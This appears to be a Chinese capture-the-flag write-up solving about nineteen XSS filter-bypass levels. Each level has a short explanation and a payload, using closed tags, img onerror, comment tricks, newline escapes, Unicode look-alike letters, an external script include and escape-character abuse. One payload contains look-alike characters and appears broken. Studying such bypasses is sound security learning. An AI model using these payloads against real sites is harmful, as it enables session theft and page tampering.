XSS漏洞的与标签的那些个事~
0x00(div)
div标签里面插入script
即可
0x01(textarea)
textarea内嵌js脚本,不会被执行。这个时候,我们闭合textarea标签即可
0x02(input)
借助sql注入的方法,把input标签闭合。我设计了一个点击事件,点击弹出
0x03
html可以正常显示标签,但是有括号就给过滤了。可以使用``来代替括号
<script>alert`1`</script>
0x04
增加了过滤,把``也过滤掉了。那么考虑使用编码绕过。
(的编码是40,16进制是28
)的编码是41,16进制是29
因为使用编码,所以不能使用script标签了,这里考虑用img标签
<img src="" onerror=alert(1)>
0x05
他把提交的内容注释了,又把闭合注释符给过滤了。
一般是用-->
注释,但是也可以使用--!>
闭合注释
0x06
这个涉及到正则表达式.
他会把以on、auto开头,以=结尾的东西,替换成_
可以使用换行绕过
0x07
该正则会过滤所有的<>
这里使用html的容错,不去闭合标签
<img src="x" οnerrοr="alert(1)"
0x08
正则过滤了</style>
可以多加一个空格来逃逸,也可以换行
</style > <script>alert(1) </script> <style>
0x09
必须包含给定的这个url而已
https://www.segmentfault.com"> </script> <img src= "" onerror = "alert(1)
0x0A
考察的点是引用指定网站下的目录文件达到xss注入的目的
0x0B
将所有的东西转为大写。
html对大小写不敏感,js对大小写敏感。所以考虑对js进行编码处理。
利用burp进行编码
0x0C
过滤了script标签,用上一题的方法即可
0x0D
把斜杠, 单、双引号、尖括号都过滤了
换行符破坏单行注释
alert(1)
-->
0x0E
正则的内容是如果<
和字母相连,就会在中间加一个下划线,之后再把所有的字母都大写显示。
使用ſ
,ſ大写是s。所有,答案的payload是
<ſcript src="https://xss.haozi.me/j.js"></script>
同理,我想到了img标签,在
http://www.52unicode.com/latin-extended-a-zifu
上,我找到了i的拉丁文ı
得到payload
<ımg src="" onerror=alert(1)>
0x0F
把注入的字符进行了编码处理,但是当解析代码的时候, 被过滤编码的字符仍然会被还原来执行, 所以可以说, 被过滤的字符可以用。
');alert(1);//
0x10
没有过滤,换行闭合,然后xss
0x11
字符转义了,换行也转义了。但是//
被转义成\/\/
还可以用。转义之后依旧是//
0x12
输入"他会把”给增加一个转义符转义掉。那么我们可以自己添加一个转义符,把他增加的那个转义符号给转义掉
\");alert(1); //
也可以无视他,直接闭合script标签。
</script>
<script>alert(1)
//